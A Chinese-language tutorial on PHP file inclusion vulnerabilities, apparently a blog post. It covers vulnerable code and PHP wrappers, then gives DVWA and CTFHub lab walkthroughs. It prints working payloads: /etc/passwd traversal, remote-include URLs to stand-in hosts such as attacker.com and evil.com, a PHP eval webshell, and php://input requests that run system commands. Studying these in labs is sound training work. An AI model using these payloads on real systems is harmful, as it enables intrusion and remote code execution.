一、什麼是文件包含漏洞
文件包含漏洞(File Inclusion) 是一種 Web 安全漏洞,通常出現在 PHP程序把用户輸入作為文件路徑直接包含執行 的情況下。
簡單理解:
程序原本想包含服務器上的文件,但攻擊者可以控制路徑,從而加載任意文件。
PHP 代碼示例:
<?php
$page = $_GET['page'];
include($page);
?>
如果訪問:
http://example.com/index.php?page=home.php
程序會包含:
home.php
但是攻擊者可以改成:
http://example.com/index.php?page=../../../../etc/passwd
服務器就會嘗試讀取:
/etc/passwd
這樣就可能 讀取敏感文件或執行惡意代碼。
文件包含漏洞分類
1 本地文件包含(LFI)
Local File Inclusion
包含服務器本地文件,例如:
?page=../../../../etc/passwd
攻擊效果:
- 讀取系統文件
- 讀取配置文件
- 結合日誌 getshell
2 遠程文件包含(RFI)
Remote File Inclusion
如果服務器開啓:
allow_url_include = On
攻擊者可以包含遠程惡意代碼:
?page=http://attacker.com/shell.txt
服務器會執行遠程代碼。
二、文件包含漏洞主要函數
在 PHP 中,一些 文件加載函數 如果參數可控,就可能產生文件包含漏洞。
主要有下面幾個:
1 include()
include("file.php");
作用:
包含並執行指定文件。
特點:
- 如果文件不存在,只產生 warning
- 程序 繼續執行
示例:
include($_GET['page']);
2 require()
require("file.php");
作用:
和 include 一樣。
區別:
- 如果文件不存在
- 會產生 fatal error
- 程序直接停止
3 include_once()
include_once("file.php");
特點:
同一個文件 只包含一次
4 require_once()
require_once("file.php");
同樣:
- 只執行一次
- 文件不存在程序終止
常見漏洞代碼
<?php
$file = $_GET['file'];
include("pages/".$file);
?>
訪問:
?page=../../../../etc/passwd
三、PHP偽協議(PHP Wrappers)
PHP偽協議 是 PHP 提供的一種 特殊資源訪問方式。
利用偽協議,攻擊者可以:
- 讀取源碼
- 執行代碼
- 繞過過濾
常見用於 文件包含漏洞利用。
1 php://filter
最常見。
作用:
讀取文件並進行 編碼處理。
常見用途:
讀取PHP源碼
示例:
php://filter/convert.base64-encode/resource=index.php
如果存在:
include($_GET['file']);
訪問:
?file=php://filter/convert.base64-encode/resource=index.php
返回:base64編碼源碼
再解碼即可看到源碼。
2 php://input
作用:
讀取 HTTP POST 原始數據
可以實現 文件包含執行代碼。
示例:
漏洞代碼:
include($_GET['file']);
請求:
POST /index.php?file=php://input
POST內容:
<?php phpinfo(); ?>
服務器就會執行。
3 data://
允許直接包含 數據流代碼
示例:
?file=data://text/plain,<?php phpinfo(); ?>
如果允許 URL include:
allow_url_include = On
就可以執行代碼。
4 file://
讀取本地文件
file:///etc/passwd
示例:
?file=file:///etc/passwd
文件包含漏洞利用常見思路
攻擊者通常會:
1️⃣ 目錄遍歷
../../../../etc/passwd
2️⃣ 讀取源碼
php://filter
3️⃣ 日誌包含 getshell
例如:
/var/log/apache2/access.log
4️⃣ 利用偽協議執行代碼
php://input
data://
靶場練習
DVWA
1.low level
-
如下圖,點擊連接
file1.php。可以發現url為:
http://172.16.83.131:8090/vulnerabilities/fi/?page=file1.phppage參數傳入了一個php文件,可以改變這個參數的值。 -
將url改成:(本地文件包含)
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd訪問結果頁面如下:
-
將url改成:(模仿遠程文件包含)
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/FI.phpFI.php文件的內容如下:<?php phpinfo(); ?>訪問結果頁面如下:
2.medium level
源碼如下:可以看出比low level多了幾個替換
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
這個url還能用:
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd
頁面顯示如下:
3.high level
源碼如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
page參數開頭必須是file;page參數不能是include.php。
這個url還能用:
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd
頁面顯示如下:
CTFHub
網站連接:https://www.ctfhub.com/#/skilltree,選擇Web > RCE.
頁面選擇如下:
1.“文件包含”
打開鏈接後,頁面顯示如下:
點擊shell有如下內容:
url為http://challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800/shell.txt
<?php eval($_REQUEST['ctfhub']);?>
查看界面中的代碼,發現可以使用參數file來包含文件shell.txt,訪問url: http://challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800?file=shell.txt
通過Burp Suite抓包得到:
GET /?file=shell.txt HTTP/1.1
Host: challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
修改為
POST /?file=shell.txt HTTP/1.1
Host: challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
ctfhub=system("ls /");
一定要加入Content-Type: application/x-www-form-urlencoded,這樣system("ls")才能作為代碼去執行。(HackBar工具會自動加入這個Content-Type字段)
Content-Type字段是告訴服務器傳來的數據是什麼格式(目前使用的是鍵值對)
Response數據包如下:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 09:49:45 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 150
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
可以發現有flag,於是修改ctfhub值為:system("cat /flag")
Response返回如下:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 09:50:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 93
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
ctfhub{add05dcc7473b6963349cdf0}
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
得到flag為ctfhub{add05dcc7473b6963349cdf0}. 通過.
2.“php://input”
打開鏈接,顯示的界面如下:
查看代碼可以發現,這次的參數也是file,但是對這個參數做了一些要求:必須使用php偽協議。
因此考慮url為
http://challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800?file=php://input
通過Burp Suite抓包得到:
GET /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
修改為:
POST /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-httpd-php
Content-Length: 25
<?php system("ls /");?>
Response數據包為:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 10:22:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 176
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
bin
boot
dev
etc
flag_24788
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
查看flag:
POST /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-httpd-php
Content-Length: 25
<?php system("cat /flag_24788");?>
Response數據包為:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 10:26:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 113
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
ctfhub{0768a9bb85e7ac1355a64e55}
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
得到flag為ctfhub{0768a9bb85e7ac1355a64e55}. 通過.
3.“遠程包含”
這一關使用file=php://input就能過,通過file添加外部php文件也能過。
點擊phpinfo,查看到關鍵信息:
-
1️⃣
allow_url_fopen允許 PHP 的文件函數通過 URL 訪問遠程資源。
例如這些函數可以讀取遠程文件:
fopen()file_get_contents()readfile()copy()
示例:
file_get_contents("http://evil.com/shell.txt");- 對 LFI(本地文件包含)影響不大
- 主要影響 遠程文件讀取
如果開啓:
allow_url_fopen = On攻擊者可以讓程序讀取遠程內容,例如:
http://victim.com/page.php?file=http://evil.com/test.txt但這只是讀取內容,不一定會執行代碼。
-
2️⃣
allow_url_include允許
include()/require()包含遠程 URL 文件並執行。例如:
include("http://evil.com/shell.php");如果開啓:
allow_url_include = On遠程 PHP 文件會被當作 PHP 代碼執行。
略
硬件及軟件説明:
I.硬件(電腦)
Apple Macbook Pro M1-Pro (32G) macOS Sonoma 14.8.4
II.軟件(vmware虛擬機)
ubuntu作為靶機- IP:
172.16.83.131 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作為攻擊機- IP:
172.16.83.130 - arm64
- Kali GNU/Linux Rolling
- 瀏覽器:Firefox
- IP:
ubuntu中安裝docker靶場:kaakaww/dvwa-docker:latest
# 拉取docker鏡像
sudo docker pull kaakaww/dvwa-docker
# 為鏡像創建容器,並運行
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker # DVWA 端口設為 8090
📌 不一定對,如有錯誤,歡迎指出🙂。